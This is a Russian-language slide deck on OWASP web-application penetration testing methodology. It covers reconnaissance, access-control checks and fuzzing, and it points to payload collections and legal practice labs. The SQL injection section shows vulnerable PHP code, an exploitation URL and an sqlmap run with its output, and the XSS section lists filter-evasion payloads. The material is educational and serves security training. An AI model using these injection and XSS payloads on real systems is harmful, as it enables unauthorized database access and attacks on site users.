OWASP

Практики по выявлению уязвимостей

в Web-приложениях

Шкарбатов Дмитрий

Руковожу командой web-разработки

в ПриватБанке, Pentester,

MD в области защиты информации

shkarbatov@gmail.com

https://www.linkedin.com/in/shkarbatov

Классификация атак

  • OWASP Top 10
  • OWASP Top 10 Mobile
  • PCI DSS
  • Mitre CWE
  • SANS Top 25
  • FISMA
  • HIPAA
  • MISRA
  • BSIMM
  • NIST SP 800-53
  • DISA STIG 4.1
  • WASC 2.0
  • OWASP ASVS

Немного статистики

Типы атак на веб-приложения

Типы атак на веб-приложения банков

Методы исследования безопасности веб-приложений

Методы исследования безопасности веб-приложений

  1. Разведка

  2. Контроль доступа

  3. Фаззинг параметров

  4. Проверка логики работы веб-приложения

  5. Проверка серверного окружения

Методы исследования безопасности веб-приложений

1. Разведка

  • Сканирование портов (nmap)
  • Сканирование поддоменов (dnsdumpster)
  • Построение и анализа связей между различными субъектами и объектами (maltego)
  • ​Исследование видимого контента (глаза)
  • Поиск скрытого контента (директорий, файлов, информации) (dirb, dirsearch)
  • Определение платформы и веб-окружения (wappalyzer)
  • Определение форм ввода (глаза)

Методы исследования безопасности веб-приложений

2. Контроль доступа

  • Проверка средств аутентификации и авторизации (hydra, patator, BurpSuite, OWASP ZAP)
  • Проверка требований парольной политики (глаза)
  • Тестирование восстановления учетной записи (глаза)
  • Проверка полномочий и прав доступа (глаза)
  • Тестирование функций сохранения сессии (время жизни, сессионный токен, признаки, попытки одновременной работы, CSRF и т.д.) (глаза)

Методы исследования безопасности веб-приложений

3. Фаззинг параметров

  • Тестирование приложения к различному виду инъекций (SQL, SOAP, LDAP, XPATH и т.д.) 
  • Тестирование приложения к XSS-уязвимостям
  • Проверка HTTP заголовков
  • Проверка редиректов и переадресаций
  • Проверка выполнения команд ОС
  • Проверка локального и удаленного инклуда
  • Проверка к внедрению XML-сущностей
  • Проверка взаимодествия веб-сокетов

Методы исследования безопасности веб-приложений

4. Проверка логики работы веб-приложения

  • Тестирование логики работы приложения
  • Тестирование на т.н. «состояние гонки» — race condition
  • Тестирование доступности информации исходя из прав доступа или его отсутствия

Методы исследования безопасности веб-приложений

5. Проверка серверного окружения

  • Проверка архитектуры сервера
  • Поиск и выявление публичных уязвимостей
  • Определение настроек сервера или компонентов
  • Проверка прав доступа

Плюшки и полезности

Playloads базы

Коллекция из нескольких типов списков, используемых в процессе оценки безопасности, собранные в одном месте. Типы списков включают в себя имена пользователей, пароли, URL, чувствительные шаблоны данных, Fuzzing полезные нагрузки, веб-оболочки, и многое другое.

 

https://github.com/danielmiessler/SecLists

Playloads базы

Список полезных нагрузок и обходов для анализа безопасности веб-приложений

 

 

 

 

 

 

 

 

https://github.com/swisskyrepo/PayloadsAllTheThings


AWS Amazon Bucket S3
CRLF injection
CSV injection
CVE Shellshock Heartbleed Struts2
File Inclusion - Path Traversal
Insecured source code management
LDAP injection
Methodology and Resources
NoSQL injection
OAuth
Open redirect
PHP juggling type

PHP serialization
Remote commands execution
SQL injection
SSRF injection
Server Side Template injections
Tar commands execution
Traversal directory
Upload insecure files
Web cache deception
XPATH injection
XSS injection
XXE injections

   Внедрение SQL-кода (англ. SQL injection) — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.

 - injection


// Пример уязвимого кода:
https://vulnurable_site.com/index.php?login=admin&password=123456

$login = $_GET["login"];
$password = $_GET["password"];

$query = "SELECT * FROM articles WHERE login = '$login' AND password = '$password'";

SELECT * FROM articles WHERE login = 'admin' AND password = '123456'



// Пример эксплуатации уязвимого кода:
https://vulnurable_site.com/index.php?login=admin';%20--&password=1

SELECT * FROM articles WHERE login = 'admin'; --' AND password = '1'

// Исходный запрос превратится в:
SELECT * FROM articles WHERE login = 'admin';

 - injection

5 основных классов SQL-инъекций:

  • UNION query SQL injection
  • Error-based SQL injection
  • Stacked queries SQL injection
  • Boolean-based blind SQL injection
  • Time-based blind SQL injection

 - injection

SQLMAP вам в помощь:

  • Определение БД
  • Доступ к БД
  • Брут-форс
  • Инъекция заданных пользователем функций
  • Доступ к файловой системе
  • Доступ к оперативной системе
  • Доступ к регистру Windows
  • ...

 - injection

 - injection


sqlmap-dev$ python sqlmap.py -u "https://vulnerable_site.net/edit_user_topic?id=239"
    --banner --is-dba

[12:44:43] [INFO] resuming back-end DBMS 'microsoft sql server' 
[12:44:43] [INFO] testing connection to the target URL
[12:44:44] [INFO] the back-end DBMS is Microsoft SQL Server
[12:44:44] [INFO] fetching banner
back-end DBMS operating system: Windows 2008 R2 or 7 Service Pack 1
back-end DBMS: Microsoft SQL Server 2008
banner:
---
Microsoft SQL Server 2008 R2 (SP3) - 10.50.6000.34 (X64) 
	Aug 19 2014 12:21:34 
	Copyright (c) Microsoft Corporation
	Data Center Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1)
---
[12:46:57] [INFO] testing if current user is DBA
current user is DBA:    True

В итоге получаем следующую информацию:
Параметр уязвим к SQL Injection
Текущий пользователь является администратором СУБД
В качестве SQL сервера используется - Microsoft SQL Server 2008
В качестве операционной системы используется - Windows 2008 R2 or 7 Service Pack 1

XSS

    XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника.

Цели XSS

  • Размещение ложной рекламы;
  • Кража файлов куки;
  • Хищение токенов форм для проведения CSRF атак;
  • Получение бесплатного доступа к платному контенту;
  • Слежение за посещением сайтов пользователем;
  • Изменение настроек браузера;
  • Публичная клевета в адрес отдельного лица или корпорации;
  • Повреждение веб-приложения;
  • DOS-атаки;
  • ...

Виды XSS

  • Stored. Постоянный (хранимый, активный) XSS − вредоносный код храниться на сайте или сервере;

  • Reflected. Непостоянный (отраженный, пассивный) XSS − пользователю необходимо посетить специально сформированную ссылку;

  • DOM. XSS в DOM-модели − источник проблемы находится в клиентском сценарии.

XSS читы


javascript:alert("XSS")
<IMG src=javascript:alert("XSS")>
<IMG src=# onmouseover="alert('xxs')">
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<BODY ONLOAD=alert('XSS')>
¼script¾alert(¢XSS¢)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072
\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

Подробней на:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

Продвинутое использование XSS

Где можно потренироваться?

  • https://slides.com/jamesjason/
  • https://kali.tools
  • https://stepik.org/course/127/syllabus
  • https://www.youtube.com/watch?v=wjZeynU03LY
  • https://www.youtube.com/watch?v=4U-x5bZM4Cg&list=PLrNsDW3nSngZFzpTvl4Onfiltr9xv0hVz
  • https://docs.google.com/document/d/13sryZRyjARa6gVzSH3CbUGOYOEx-TWIAsa6_hh8FPlA
  • https://habrahabr.ru/post/125206
  • https://habrahabr.ru/post/125317
     
  • https://www.youtube.com/watch?v=XcLI4cdWOCs&list=PL1LeoQF_fJbzOHndcGO_XyFDE6jRz1AM-

Где можно потренироваться?

Теория

  • https://google-gruyere.appspot.com
  • http://www.dvwa.co.uk/
  • http://www.itsecgames.com/
  • http://xss-game.appspot.com
  • https://www.hacksplaining.com
  • https://habrahabr.ru/company/pentestit/blog/261569
  • https://habrahabr.ru/company/pt/blog/138779
  • https://habrahabr.ru/company/dsec/blog/200408/
  • https://www.checkmarx.com/2015/04/16/15-vulnerable-sites-to-legally-practice-your-hacking-skills
  • https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project

Где можно потренироваться?

Практика

Почему этим стоит

заниматься?

Всем спасибо!

OWASP

By James Jason

OWASP

  • 1,240